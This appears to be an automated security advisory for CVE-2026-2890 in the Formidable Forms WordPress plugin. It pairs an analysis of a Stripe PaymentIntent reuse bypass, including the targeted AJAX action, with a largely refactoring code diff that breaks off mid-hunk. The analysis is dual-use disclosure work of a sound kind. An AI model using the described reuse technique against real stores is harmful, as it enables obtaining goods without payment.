Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2890: Formidable Forms <= 6.28 – Missing Authorization to Unauthenticated Payment Integrity Bypass via PaymentIntent Reuse (formidable)

CVE ID CVE-2026-2890
Plugin formidable
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 6.28
Patched Version 6.29
Disclosed March 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2890: The vulnerability resides in the Stripe Link payment processing logic of the Formidable Forms plugin. The root cause is a missing authorization and payment integrity validation in two key functions. The `handle_one_time_stripe_link_return_url` function (in `formidable/classes/models/FrmPayment.php`) marks a payment as complete based solely on the Stripe PaymentIntent’s status, without verifying that the PaymentIntent’s charged amount matches the expected payment amount for the specific form action. Concurrently, the `verify_intent` function (in `formidable/classes/models/FrmPayment.php`) validates only the client secret’s ownership and does not bind the PaymentIntent to a specific form, action, or payment record. This design flaw allows an unauthenticated attacker to intercept a low-value PaymentIntent client secret and payment intent ID from a completed transaction. The attacker can then reuse these credentials by sending a crafted request to the Stripe Link return handler endpoint (`/wp-admin/admin-ajax.php` with `action=frm_stripe_link_return`). The handler, lacking proper binding checks, will accept the valid but mismatched PaymentIntent and mark a high-value pending payment record as complete, bypassing payment. The patch in version 6.29 adds critical validation. In `verify_intent`, it now retrieves the payment record using the PaymentIntent ID and compares the PaymentIntent’s amount against the payment record’s expected amount. It also ensures the PaymentIntent’s status is `succeeded`. The `handle_one_time_stripe_link_return_url` function now calls this updated verification logic. This ensures a PaymentIntent can only finalize the specific payment it was created for, preventing reuse. Exploitation leads to a direct financial impact, allowing goods or services to be obtained without full payment.

Differential between vulnerable and patched code

Code Diff
--- a/formidable/classes/controllers/FrmAddonsController.php
+++ b/formidable/classes/controllers/FrmAddonsController.php
@@ -194,10 +194,12 @@

 		// Extract the elements to move
 		foreach ( $plans as $plan ) {
-			if ( isset( self::$categories[ $plan ] ) ) {
-				$bottom_categories[ $plan ] = self::$categories[ $plan ];
-				unset( self::$categories[ $plan ] );
+			if ( ! isset( self::$categories[ $plan ] ) ) {
+				continue;
 			}
+
+			$bottom_categories[ $plan ] = self::$categories[ $plan ];
+			unset( self::$categories[ $plan ] );
 		}

 		$special_categories = array();
@@ -287,12 +289,12 @@
 		$addons = $api->get_api_info();

 		if ( ! $addons ) {
-			$addons = self::fallback_plugin_list();
-		} else {
-			foreach ( $addons as $k => $addon ) {
-				if ( empty( $addon['excerpt'] ) && $k !== 'error' ) {
-					unset( $addons[ $k ] );
-				}
+			return self::fallback_plugin_list();
+		}
+
+		foreach ( $addons as $k => $addon ) {
+			if ( empty( $addon['excerpt'] ) && $k !== 'error' ) {
+				unset( $addons[ $k ] );
 			}
 		}

@@ -726,6 +728,45 @@
 	}

 	/**
+	 * Get the JSON-encoded install data for a plugin update.
+	 *
+	 * @since 6.29
+	 *
+	 * @param string $addon_slug The addon slug (e.g. 'pro', 'dates').
+	 *
+	 * @return string JSON-encoded install data, or empty string if no URL is available.
+	 */
+	public static function get_update_install_data( $addon_slug ) {
+		$upgrading = self::install_link( $addon_slug );
+
+		if ( isset( $upgrading['class'] ) && 'frm-install-addon' === $upgrading['class'] ) {
+			return (string) json_encode( $upgrading );
+		}
+
+		if ( 'pro' === $addon_slug ) {
+			$download_url = self::get_pro_download_url();
+			$plugin_file  = 'formidable-pro/formidable-pro.php';
+		} else {
+			$addon_data   = self::get_addon( $addon_slug );
+			$download_url = $addon_data && ! empty( $addon_data['url'] ) ? $addon_data['url'] : '';
+			$plugin_file  = $addon_data && ! empty( $addon_data['plugin'] ) ? $addon_data['plugin'] : 'formidable-' . $addon_slug . '/formidable-' . $addon_slug . '.php';
+		}
+
+		if ( ! $download_url ) {
+			$update_plugins = get_site_transient( 'update_plugins' );
+			$plugin_update  = $update_plugins->response[ $plugin_file ] ?? null;
+			$download_url   = $plugin_update && ! empty( $plugin_update->package ) ? $plugin_update->package : '';
+		}
+
+		return $download_url ? (string) json_encode(
+			array(
+				'url'   => $download_url,
+				'class' => 'frm-install-addon',
+			)
+		) : '';
+	}
+
+	/**
 	 * @since 4.09
 	 *
 	 * @param string $plugin The plugin slug.
@@ -821,6 +862,11 @@

 			$addon['installed'] = self::is_installed( $file_name );

+			if ( 'highrise' === $slug && ! $addon['installed'] ) {
+				unset( $addons[ $id ] );
+				continue;
+			}
+
 			if ( $addon['installed'] && 'formidable-views/formidable-views.php' === $file_name ) {
 				$active_views_version = self::get_active_views_version();

@@ -998,7 +1044,7 @@
 	 * @return string
 	 */
 	protected static function get_current_plugin() {
-		if ( empty( self::$plugin ) ) {
+		if ( ! self::$plugin ) {
 			self::$plugin = FrmAppHelper::get_param( 'plugin', '', 'post', 'esc_url_raw' );
 		}
 		return self::$plugin;
@@ -1100,7 +1146,7 @@

 		// Create the plugin upgrader with our custom skin.
 		$installer = new Plugin_Upgrader( new FrmInstallerSkin() );
-		$installer->install( $download_url );
+		$installer->install( $download_url, array( 'overwrite_package' => true ) );

 		// Flush the cache and return the newly installed plugin basename.
 		wp_cache_flush();
--- a/formidable/classes/controllers/FrmAppController.php
+++ b/formidable/classes/controllers/FrmAppController.php
@@ -874,10 +874,12 @@
 	 * @return void
 	 */
 	private static function enqueue_global_settings_scripts( $page ) {
-		if ( 'formidable-settings' === $page ) {
-			wp_enqueue_style( 'wp-color-picker' );
-			wp_enqueue_script( 'formidable_settings' );
+		if ( 'formidable-settings' !== $page ) {
+			return;
 		}
+
+		wp_enqueue_style( 'wp-color-picker' );
+		wp_enqueue_script( 'formidable_settings' );
 	}

 	/**
@@ -1182,12 +1184,14 @@
 	 * @return void
 	 */
 	private static function maybe_add_wp_site_health() {
-		if ( ! class_exists( 'WP_Site_Health' ) ) {
-			$wp_site_health_path = ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
+		if ( class_exists( 'WP_Site_Health' ) ) {
+			return;
+		}

-			if ( file_exists( $wp_site_health_path ) ) {
-				require_once $wp_site_health_path;
-			}
+		$wp_site_health_path = ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
+
+		if ( file_exists( $wp_site_health_path ) ) {
+			require_once $wp_site_health_path;
 		}
 	}

--- a/formidable/classes/controllers/FrmApplicationsController.php
+++ b/formidable/classes/controllers/FrmApplicationsController.php
@@ -79,14 +79,14 @@
 		$view = FrmAppHelper::get_param( 'view', '', 'get', 'sanitize_text_field' );
 		$data = array();

-		if ( 'applications' !== $view ) {
+		if ( 'applications' === $view ) {
+			FrmAppHelper::permission_check( 'frm_edit_applications' );
+		} else {
 			FrmAppHelper::permission_check( self::get_required_capability() );

 			// View may be 'applications', 'templates', or empty.
 			$data['templates']  = self::get_prepared_template_data();
 			$data['categories'] = FrmApplicationTemplate::get_categories();
-		} else {
-			FrmAppHelper::permission_check( 'frm_edit_applications' );
 		}

 		/**
--- a/formidable/classes/controllers/FrmDashboardController.php
+++ b/formidable/classes/controllers/FrmDashboardController.php
@@ -97,7 +97,7 @@
 					'placeholder'      => self::view_args_entries_placeholder( $counters_value['forms'] ),
 				),
 				'payments'           => array(
-					'show-placeholder' => empty( $total_payments ),
+					'show-placeholder' => ! $total_payments,
 					'placeholder'      => array(
 						'copy' => __( 'You don't have a payment form setup yet.', 'formidable' ),
 						'cta'  => array(
@@ -271,7 +271,7 @@
 		$copy = sprintf(
 			/* translators: %1$s: HTML start of a tag, %2$s: HTML close a tag */
 			__( 'See the %1$sform documentation%2$s for instructions on publishing a form. Once vou have at least one entry you'll see it here.', 'formidable' ),
-			'<a target="_blank" href="' . FrmAppHelper::admin_upgrade_link( '', 'knowledgebase/publish-a-form/' ) . '">',
+			'<a target="_blank" href="' . esc_url( FrmAppHelper::admin_upgrade_link( '', 'knowledgebase/publish-a-form/' ) ) . '">',
 			'</a>'
 		);
 		return array(
@@ -428,12 +428,15 @@
 	 */
 	private static function inbox_prepare_messages( $data ) {
 		foreach ( $data as $key => $messages ) {
-			if ( in_array( $key, array( 'unread', 'dismissed' ), true ) ) {
-				foreach ( $messages as $key_msg => $message ) {
-					$data[ $key ][ $key_msg ]['cta'] = self::inbox_clean_messages_cta( $message['cta'] );
-				}
+			if ( ! in_array( $key, array( 'unread', 'dismissed' ), true ) ) {
+				continue;
+			}
+
+			foreach ( $messages as $key_msg => $message ) {
+				$data[ $key ][ $key_msg ]['cta'] = self::inbox_clean_messages_cta( $message['cta'] );
 			}
 		}
+
 		return $data;
 	}

--- a/formidable/classes/controllers/FrmEmailStylesController.php
+++ b/formidable/classes/controllers/FrmEmailStylesController.php
@@ -135,14 +135,14 @@
 			),
 		);

-		if ( 'plain' !== $style_key ) {
-			$content = self::get_test_rich_text_email_content( $style_key, $table_rows );
-		} else {
+		if ( 'plain' === $style_key ) {
 			$content = '';

 			foreach ( $table_rows as $row ) {
 				$content .= $row['label'] . ': ' . $row['value'] . "rn";
 			}
+		} else {
+			$content = self::get_test_rich_text_email_content( $style_key, $table_rows );
 		}//end if

 		return $content;
--- a/formidable/classes/controllers/FrmEntriesAJAXSubmitController.php
+++ b/formidable/classes/controllers/FrmEntriesAJAXSubmitController.php
@@ -65,7 +65,26 @@

 		$errors = FrmEntryValidate::validate( wp_unslash( $_POST ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing

-		if ( ! $errors ) {
+		if ( $errors ) {
+			$obj = array();
+
+			foreach ( $errors as $field => $error ) {
+				$field_id         = str_replace( 'field', '', $field );
+				$error            = self::maybe_modify_ajax_error( $error, $field_id, $form, $errors );
+				$obj[ $field_id ] = $error;
+			}
+
+			$response['errors']        = $obj;
+			$invalid_msg               = FrmFormsHelper::get_invalid_error_message( array( 'form' => $form ) );
+			$response['error_message'] = FrmFormsHelper::get_success_message(
+				array(
+					'message'  => $invalid_msg,
+					'form'     => $form,
+					'entry_id' => 0,
+					'class'    => FrmFormsHelper::form_error_class(),
+				)
+			);
+		} else {
 			global $frm_vars;
 			$frm_vars['ajax']       = true;
 			$frm_vars['css_loaded'] = true;
@@ -85,25 +104,6 @@
 				// Mark the end of added footer content.
 				$response['content'] .= '<span class="frm_end_ajax_' . $form->id . '"></span>';
 			}
-		} else {
-			$obj = array();
-
-			foreach ( $errors as $field => $error ) {
-				$field_id         = str_replace( 'field', '', $field );
-				$error            = self::maybe_modify_ajax_error( $error, $field_id, $form, $errors );
-				$obj[ $field_id ] = $error;
-			}
-
-			$response['errors']        = $obj;
-			$invalid_msg               = FrmFormsHelper::get_invalid_error_message( array( 'form' => $form ) );
-			$response['error_message'] = FrmFormsHelper::get_success_message(
-				array(
-					'message'  => $invalid_msg,
-					'form'     => $form,
-					'entry_id' => 0,
-					'class'    => FrmFormsHelper::form_error_class(),
-				)
-			);
 		}//end if

 		$response = self::check_for_failed_form_submission( $response, $form->id );
--- a/formidable/classes/controllers/FrmEntriesController.php
+++ b/formidable/classes/controllers/FrmEntriesController.php
@@ -15,11 +15,11 @@

 		$views_installed = is_callable( 'FrmProAppHelper::views_is_installed' ) && FrmProAppHelper::views_is_installed();

-		if ( ! $views_installed ) {
+		if ( $views_installed ) {
+			self::maybe_redirect_to_views_index();
+		} else {
 			add_submenu_page( 'formidable', 'Formidable | ' . __( 'Views', 'formidable' ), __( 'Views', 'formidable' ), 'frm_view_entries', 'formidable-views', 'FrmFormsController::no_views' ); // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
 			self::maybe_redirect_to_views_upsell();
-		} else {
-			self::maybe_redirect_to_views_index();
 		}

 		if ( FrmAppHelper::is_admin_page( 'formidable-entries' ) ) {
@@ -100,16 +100,17 @@
 	 * @return void
 	 */
 	private static function load_manage_entries_hooks() {
-		if ( ! in_array( FrmAppHelper::simple_get( 'frm_action', 'sanitize_title' ), array( 'edit', 'show', 'new', 'duplicate' ), true ) ) {
-			$menu_name = FrmAppHelper::get_menu_name();
-			$base      = self::base_column_key( $menu_name );
-
-			add_filter( 'manage_' . $base . '_columns', 'FrmEntriesController::manage_columns' );
-			add_filter( 'get_user_option_' . self::hidden_column_key( $menu_name ), 'FrmEntriesController::hidden_columns' );
-			add_filter( 'manage_' . $base . '_sortable_columns', 'FrmEntriesController::sortable_columns' );
-		} else {
+		if ( in_array( FrmAppHelper::simple_get( 'frm_action', 'sanitize_title' ), array( 'edit', 'show', 'new', 'duplicate' ), true ) ) {
 			add_filter( 'screen_options_show_screen', self::class . '::remove_screen_options', 10, 2 );
+			return;
 		}
+
+		$menu_name = FrmAppHelper::get_menu_name();
+		$base      = self::base_column_key( $menu_name );
+
+		add_filter( 'manage_' . $base . '_columns', 'FrmEntriesController::manage_columns' );
+		add_filter( 'get_user_option_' . self::hidden_column_key( $menu_name ), 'FrmEntriesController::hidden_columns' );
+		add_filter( 'manage_' . $base . '_sortable_columns', 'FrmEntriesController::sortable_columns' );
 	}

 	/**
@@ -181,8 +182,8 @@
 		}

 		$columns[ $form_id . '_is_draft' ]   = esc_html__( 'Entry Status', 'formidable' );
-		$columns[ $form_id . '_created_at' ] = __( 'Entry creation date', 'formidable' );
-		$columns[ $form_id . '_updated_at' ] = __( 'Entry update date', 'formidable' );
+		$columns[ $form_id . '_created_at' ] = esc_html__( 'Entry creation date', 'formidable' );
+		$columns[ $form_id . '_updated_at' ] = esc_html__( 'Entry update date', 'formidable' );
 		self::maybe_add_ip_col( $form_id, $columns );

 		$frm_vars['cols'] = $columns;
@@ -552,15 +553,17 @@
 		$hidden = array();

 		foreach ( (array) $result as $r ) {
-			if ( $r ) {
-				list( $form_prefix, $field_key ) = explode( '_', $r );
+			if ( ! $r ) {
+				continue;
+			}

-				if ( (int) $form_prefix === (int) $form_id ) {
-					$hidden[] = $r;
-				}
+			list( $form_prefix, $field_key ) = explode( '_', $r );

-				unset( $form_prefix );
+			if ( (int) $form_prefix === (int) $form_id ) {
+				$hidden[] = $r;
 			}
+
+			unset( $form_prefix );
 		}

 		return $hidden;
@@ -653,13 +656,15 @@
 	 * @return void
 	 */
 	private static function get_delete_form_time( $form, &$errors ) {
-		if ( 'trash' === $form->status ) {
-			$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
-			$time_to_delete   = FrmAppHelper::human_time_diff( $delete_timestamp, $form->options['trash_time'] ?? time() );
-
-			/* translators: %1$s: Time string */
-			$errors['trash'] = sprintf( __( 'This form is in the trash and is scheduled to be deleted permanently in %s along with any entries.', 'formidable' ), $time_to_delete );
+		if ( 'trash' !== $form->status ) {
+			return;
 		}
+
+		$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
+		$time_to_delete   = FrmAppHelper::human_time_diff( $delete_timestamp, $form->options['trash_time'] ?? time() );
+
+		/* translators: %1$s: Time string */
+		$errors['trash'] = sprintf( __( 'This form is in the trash and is scheduled to be deleted permanently in %s along with any entries.', 'formidable' ), $time_to_delete );
 	}

 	/**
@@ -799,13 +804,11 @@
 		$_POST['frm_skip_cookie'] = 1;
 		$do_success               = false;

-		if ( $params['action'] === 'create' ) {
-			if ( apply_filters( 'frm_continue_to_create', true, $form_id ) && ! isset( $frm_vars['created_entries'][ $form_id ]['entry_id'] ) ) {
-				$frm_vars['created_entries'][ $form_id ]['entry_id'] = FrmEntry::create( $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+		if ( $params['action'] === 'create' && apply_filters( 'frm_continue_to_create', true, $form_id ) && ! isset( $frm_vars['created_entries'][ $form_id ]['entry_id'] ) ) {
+			$frm_vars['created_entries'][ $form_id ]['entry_id'] = FrmEntry::create( $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing

-				$params['id'] = $frm_vars['created_entries'][ $form_id ]['entry_id'];
-				$do_success   = true;
-			}
+			$params['id'] = $frm_vars['created_entries'][ $form_id ]['entry_id'];
+			$do_success   = true;
 		}

 		do_action( 'frm_process_entry', $params, $errors, $form, array( 'ajax' => $ajax ) );
--- a/formidable/classes/controllers/FrmFieldsController.php
+++ b/formidable/classes/controllers/FrmFieldsController.php
@@ -294,7 +294,6 @@
 		}

 		// Keep other options after bulk update.
-		// phpcs:ignore Universal.Operators.StrictComparisons
 		if ( ! empty( $field['field_options']['other'] ) ) {
 			$other_array = array();

--- a/formidable/classes/controllers/FrmFormActionsController.php
+++ b/formidable/classes/controllers/FrmFormActionsController.php
@@ -322,11 +322,11 @@
 	public static function get_form_actions( $action = 'all' ) {
 		$temp_actions = self::$registered_actions;

-		if ( ! $temp_actions ) {
+		if ( $temp_actions ) {
+			$temp_actions = $temp_actions->actions;
+		} else {
 			self::actions_init();
 			$temp_actions = self::$registered_actions->actions;
-		} else {
-			$temp_actions = $temp_actions->actions;
 		}

 		$actions = array();
@@ -600,12 +600,15 @@
 	 * @return void
 	 */
 	public static function delete_missing_actions( $old_actions ) {
-		if ( $old_actions ) {
-			foreach ( $old_actions as $old_id ) {
-				wp_delete_post( $old_id );
-			}
-			FrmDb::cache_delete_group( 'frm_actions' );
+		if ( ! $old_actions ) {
+			return;
+		}
+
+		foreach ( $old_actions as $old_id ) {
+			wp_delete_post( $old_id );
 		}
+
+		FrmDb::cache_delete_group( 'frm_actions' );
 	}

 	/**
--- a/formidable/classes/controllers/FrmFormTemplatesController.php
+++ b/formidable/classes/controllers/FrmFormTemplatesController.php
@@ -377,18 +377,18 @@
 		$form_id     = FrmAppHelper::get_param( 'xml', '', 'post', 'absint' );
 		$new_form_id = FrmForm::duplicate( $form_id, 1, true );

-		if ( ! $new_form_id ) {
-			// Send an error response if form duplication fails.
-			$response = array(
-				'message' => __( 'There was an error creating a template.', 'formidable' ),
-			);
-		} else {
+		if ( $new_form_id ) {
 			FrmForm::update( $new_form_id, FrmFormsController::get_modal_values() );

 			// Send a success response with redirect URL.
 			$response = array(
 				'redirect' => admin_url( 'admin.php?page=formidable&frm_action=duplicate&id=' . $new_form_id ) . '&_wpnonce=' . wp_create_nonce(),
 			);
+		} else {
+			// Send an error response if form duplication fails.
+			$response = array(
+				'message' => __( 'There was an error creating a template.', 'formidable' ),
+			);
 		}

 		// Send response.
@@ -592,10 +592,12 @@
 	 */
 	private static function assign_featured_templates() {
 		foreach ( self::FEATURED_TEMPLATES_IDS as $key ) {
-			if ( isset( self::$templates[ $key ] ) ) {
-				self::$templates[ $key ]['is_featured'] = true;
-				self::$featured_templates[]             = self::$templates[ $key ];
+			if ( ! isset( self::$templates[ $key ] ) ) {
+				continue;
 			}
+
+			self::$templates[ $key ]['is_featured'] = true;
+			self::$featured_templates[]             = self::$templates[ $key ];
 		}
 	}

@@ -780,7 +782,7 @@
 	 * @return int
 	 */
 	public static function get_template_count() {
-		if ( empty( self::$templates ) ) {
+		if ( ! self::$templates ) {
 			self::$form_template_api = new FrmFormTemplateApi();
 			self::retrieve_and_set_templates();
 		}
--- a/formidable/classes/controllers/FrmFormsController.php
+++ b/formidable/classes/controllers/FrmFormsController.php
@@ -765,14 +765,16 @@
 	 * @return void
 	 */
 	public static function maybe_block_preview( $form_key ) {
-		if ( FrmFormsHelper::should_block_preview( $form_key ) ) {
-			$error = __( 'You do not have permission to view this form', 'formidable' );
-			wp_die(
-				'<h1>' . esc_html( $error ) . '</h1>',
-				'<p>' . esc_html( $error ) . '</p>',
-				403
-			);
+		if ( ! FrmFormsHelper::should_block_preview( $form_key ) ) {
+			return;
 		}
+
+		$error = __( 'You do not have permission to view this form', 'formidable' );
+		wp_die(
+			'<h1>' . esc_html( $error ) . '</h1>',
+			'<p>' . esc_html( $error ) . '</p>',
+			403
+		);
 	}

 	/**
@@ -1996,13 +1998,15 @@
 	 * @return void
 	 */
 	private static function get_entry_by_param( &$entry ) {
-		if ( ! $entry || ! is_object( $entry ) ) {
-			if ( ! $entry || ! is_numeric( $entry ) ) {
-				$entry = FrmAppHelper::get_post_param( 'id', false, 'sanitize_title' );
-			}
+		if ( $entry && is_object( $entry ) ) {
+			return;
+		}

-			FrmEntry::maybe_get_entry( $entry );
+		if ( ! $entry || ! is_numeric( $entry ) ) {
+			$entry = FrmAppHelper::get_post_param( 'id', false, 'sanitize_title' );
 		}
+
+		FrmEntry::maybe_get_entry( $entry );
 	}

 	/**
@@ -2102,7 +2106,13 @@
 			$json_vars = htmlspecialchars_decode( nl2br( str_replace( '"', '"', wp_unslash( $_POST['frm_compact_fields'] ) ) ) );
 			$json_vars = json_decode( $json_vars, true );

-			if ( ! $json_vars ) {
+			if ( $json_vars ) {
+				$vars   = FrmAppHelper::json_to_array( $json_vars );
+				$action = $vars[ $action ];
+				unset( $_REQUEST['frm_compact_fields'], $_POST['frm_compact_fields'] ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+				$_REQUEST = array_merge( $_REQUEST, $vars ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+				$_POST    = array_merge( $_POST, $_REQUEST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
+			} else {
 				// Json decoding failed so we should return an error message.
 				$action = FrmAppHelper::get_param( $action, '', 'get', 'sanitize_title' );

@@ -2111,12 +2121,6 @@
 				}

 				add_filter( 'frm_validate_form', 'FrmFormsController::json_error' );
-			} else {
-				$vars   = FrmAppHelper::json_to_array( $json_vars );
-				$action = $vars[ $action ];
-				unset( $_REQUEST['frm_compact_fields'], $_POST['frm_compact_fields'] ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
-				$_REQUEST = array_merge( $_REQUEST, $vars ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
-				$_POST    = array_merge( $_POST, $_REQUEST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
 			}
 		} else {
 			$action = FrmAppHelper::get_param( $action, '', 'get', 'sanitize_title' );
@@ -2220,12 +2224,12 @@
 			'name' => $name,
 		);

-		if ( '' !== $name ) {
+		if ( '' === $name ) {
+			$form_key = $form->form_key;
+		} else {
 			// Only update form_key if name is not empty.
 			$form_key              = FrmAppHelper::get_unique_key( sanitize_title( $name ), 'frm_forms', 'form_key' );
 			$to_update['form_key'] = $form_key;
-		} else {
-			$form_key = $form->form_key;
 		}

 		FrmForm::update( $form_id, $to_update );
@@ -2697,12 +2701,10 @@
 	 * @param array        $args        See {@see FrmFormsController::maybe_trigger_redirect()}.
 	 */
 	public static function maybe_trigger_redirect_with_action( $conf_method, $form, $params, $args ) {
-		if ( is_array( $conf_method ) && 1 === count( $conf_method ) ) {
-			if ( 'redirect' === FrmOnSubmitHelper::get_action_type( $conf_method[0] ) && empty( $conf_method[0]->post_content['redirect_delay'] ) ) {
-				$event = FrmOnSubmitHelper::current_event( $params );
-				FrmOnSubmitHelper::populate_on_submit_data( $form->options, $conf_method[0], $event );
-				$conf_method = 'redirect';
-			}
+		if ( is_array( $conf_method ) && 1 === count( $conf_method ) && 'redirect' === FrmOnSubmitHelper::get_action_type( $conf_method[0] ) && empty( $conf_method[0]->post_content['redirect_delay'] ) ) { // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
+			$event = FrmOnSubmitHelper::current_event( $params );
+			FrmOnSubmitHelper::populate_on_submit_data( $form->options, $conf_method[0], $event );
+			$conf_method = 'redirect';
 		}

 		if ( 'redirect' === $conf_method ) {
@@ -2806,11 +2808,9 @@

 			$action_type = FrmOnSubmitHelper::get_action_type( $action );

-			if ( 'redirect' === $action_type ) {
-				if ( $has_redirect ) {
-					// Do not process because we run the first redirect action only.
-					continue;
-				}
+			if ( 'redirect' === $action_type && $has_redirect ) {
+				// Do not process because we run the first redirect action only.
+				continue;
 			}

 			if ( ! self::is_valid_on_submit_action( $action, $args, $event ) ) {
--- a/formidable/classes/controllers/FrmHooksController.php
+++ b/formidable/classes/controllers/FrmHooksController.php
@@ -147,6 +147,9 @@

 		add_action( 'frm_after_duplicate_form', 'FrmFormActionsController::duplicate_form_actions', 20, 3 );

+		// Fields Model.
+		add_filter( 'frm_pro_available_fields', 'FrmField::show_update_for_pro_fields' );
+
 		// Forms Controller.
 		add_action( 'admin_menu', 'FrmFormsController::menu', 10 );
 		add_action( 'admin_head-toplevel_page_formidable', 'FrmFormsController::head' );
--- a/formidable/classes/controllers/FrmInboxController.php
+++ b/formidable/classes/controllers/FrmInboxController.php
@@ -110,9 +110,11 @@
 	 * @return void
 	 */
 	private static function remove_free_template_message() {
-		if ( ! FrmAppHelper::pro_is_installed() ) {
-			$message = new FrmInbox();
-			$message->dismiss( 'free_templates' );
+		if ( FrmAppHelper::pro_is_installed() ) {
+			return;
 		}
+
+		$message = new FrmInbox();
+		$message->dismiss( 'free_templates' );
 	}
 }
--- a/formidable/classes/controllers/FrmSettingsController.php
+++ b/formidable/classes/controllers/FrmSettingsController.php
@@ -214,10 +214,12 @@
 		$payment_section_keys = array( 'paypal', 'square', 'stripe', 'authorize_net' );

 		foreach ( $sections as $key => $section ) {
-			if ( in_array( $key, $payment_section_keys, true ) ) {
-				self::$removed_payments_sections[ $key ] = $section;
-				unset( $sections[ $key ] );
+			if ( ! in_array( $key, $payment_section_keys, true ) ) {
+				continue;
 			}
+
+			self::$removed_payments_sections[ $key ] = $section;
+			unset( $sections[ $key ] );
 		}

 		uksort( self::$removed_payments_sections, array( self::class, 'payment_sections_sort_callback' ) );
--- a/formidable/classes/controllers/FrmStylesController.php
+++ b/formidable/classes/controllers/FrmStylesController.php
@@ -710,6 +710,8 @@
 	 * @return void
 	 */
 	public static function save_style() {
+		FrmAppHelper::permission_check( 'frm_change_settings' );
+
 		$frm_style   = new FrmStyle();
 		$post_id     = FrmAppHelper::get_post_param( 'ID', false, 'sanitize_title' );
 		$style_nonce = FrmAppHelper::get_post_param( 'frm_style', '', 'sanitize_text_field' );
--- a/formidable/classes/controllers/FrmXMLController.php
+++ b/formidable/classes/controllers/FrmXMLController.php
@@ -742,10 +742,10 @@
 		$entry_ids = FrmDb::get_col( $wpdb->prefix . 'frm_items it', $query );
 		unset( $query );

-		if ( ! $entry_ids ) {
-			esc_html_e( 'There are no entries for that form.', 'formidable' );
-		} else {
+		if ( $entry_ids ) {
 			FrmCSVExportHelper::generate_csv( compact( 'form', 'entry_ids', 'form_cols' ) );
+		} else {
+			esc_html_e( 'There are no entries for that form.', 'formidable' );
 		}

 		wp_die();
--- a/formidable/classes/helpers/FrmAppHelper.php
+++ b/formidable/classes/helpers/FrmAppHelper.php
@@ -29,7 +29,7 @@
 	 *
 	 * @var string
 	 */
-	public static $plug_version = '6.28';
+	public static $plug_version = '6.29';

 	/**
 	 * @var bool
@@ -949,6 +949,10 @@
 	 * @param string $value
 	 */
 	public static function strip_most_html( $value ) {
+		if ( '' === $value ) {
+			return $value;
+		}
+
 		$allowed_html = array(
 			'b'      => array(),
 			'br'     => array(),
@@ -1514,10 +1518,12 @@
 	 */
 	public static function array_to_html_params( $atts, $echo = false ) {
 		$callback = function () use ( $atts ) {
-			if ( $atts ) {
-				foreach ( $atts as $key => $value ) {
-					echo ' ' . esc_attr( $key ) . '="' . esc_attr( $value ) . '"';
-				}
+			if ( ! $atts ) {
+				return;
+			}
+
+			foreach ( $atts as $key => $value ) {
+				echo ' ' . esc_attr( $key ) . '="' . esc_attr( $value ) . '"';
 			}
 		};
 		return self::clip( $callback, $echo );
@@ -2355,13 +2361,15 @@
 	 * @return void
 	 */
 	public static function force_capability( $cap = 'frm_change_settings' ) {
-		if ( current_user_can( 'administrator' ) && ! current_user_can( $cap ) ) {
-			$role      = get_role( 'administrator' );
-			$frm_roles = self::frm_capabilities();
+		if ( ! current_user_can( 'administrator' ) || current_user_can( $cap ) ) {
+			return;
+		}

-			foreach ( $frm_roles as $frm_role => $frm_role_description ) {
-				$role->add_cap( $frm_role );
-			}
+		$role      = get_role( 'administrator' );
+		$frm_roles = self::frm_capabilities();
+
+		foreach ( $frm_roles as $frm_role => $frm_role_description ) {
+			$role->add_cap( $frm_role );
 		}
 	}

@@ -2459,14 +2467,14 @@
 			$original_function = $function;
 			$function          = count( $value ) ? explode( ', ', FrmDb::prepare_array_values( $value, $function ) ) : array( $function );

-			if ( ! self::is_assoc( $value ) ) {
-				$value = array_map( array( 'FrmAppHelper', 'recursive_function_map' ), $value, $function );
-			} else {
+			if ( self::is_assoc( $value ) ) {
 				foreach ( $value as $k => $v ) {
 					if ( ! is_array( $v ) ) {
 						$value[ $k ] = call_user_func( $original_function, $v );
 					}
 				}
+			} else {
+				$value = array_map( array( 'FrmAppHelper', 'recursive_function_map' ), $value, $function );
 			}
 		} else {
 			$value = self::maybe_update_value_if_null( $value, $function );
--- a/formidable/classes/helpers/FrmCSVExportHelper.php
+++ b/formidable/classes/helpers/FrmCSVExportHelper.php
@@ -522,10 +522,10 @@
 			self::$entry = $entry;
 			unset( $entry );

-			if ( self::$entry->form_id !== self::$form_id ) {
-				self::add_repeat_field_values_to_csv( $entries );
-			} else {
+			if ( self::$entry->form_id === self::$form_id ) {
 				self::prepare_csv_row();
+			} else {
+				self::add_repeat_field_values_to_csv( $entries );
 			}
 		}
 	}
@@ -618,15 +618,17 @@
 		}

 		foreach ( self::$fields_by_repeater_id[ $repeater_id ] as $repeater_child ) {
-			if ( ! isset( $metas[ $repeater_child->id ] ) ) {
-				$metas[ $repeater_child->id ] = '';
+			if ( isset( $metas[ $repeater_child->id ] ) ) {
+				continue;
+			}

-				if ( ! isset( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) || ! is_array( $entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] ) ) { // phpcs:ignore SlevomatCodingStandard.Files.LineLength.LineTooLong
-					$entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ] = array();
-				}
+			$metas[ $repeater_child->id ] = '';

-				$entries[ self::$entry->parent_item_id ]->metas[ $repeater_child->id ][] = '';
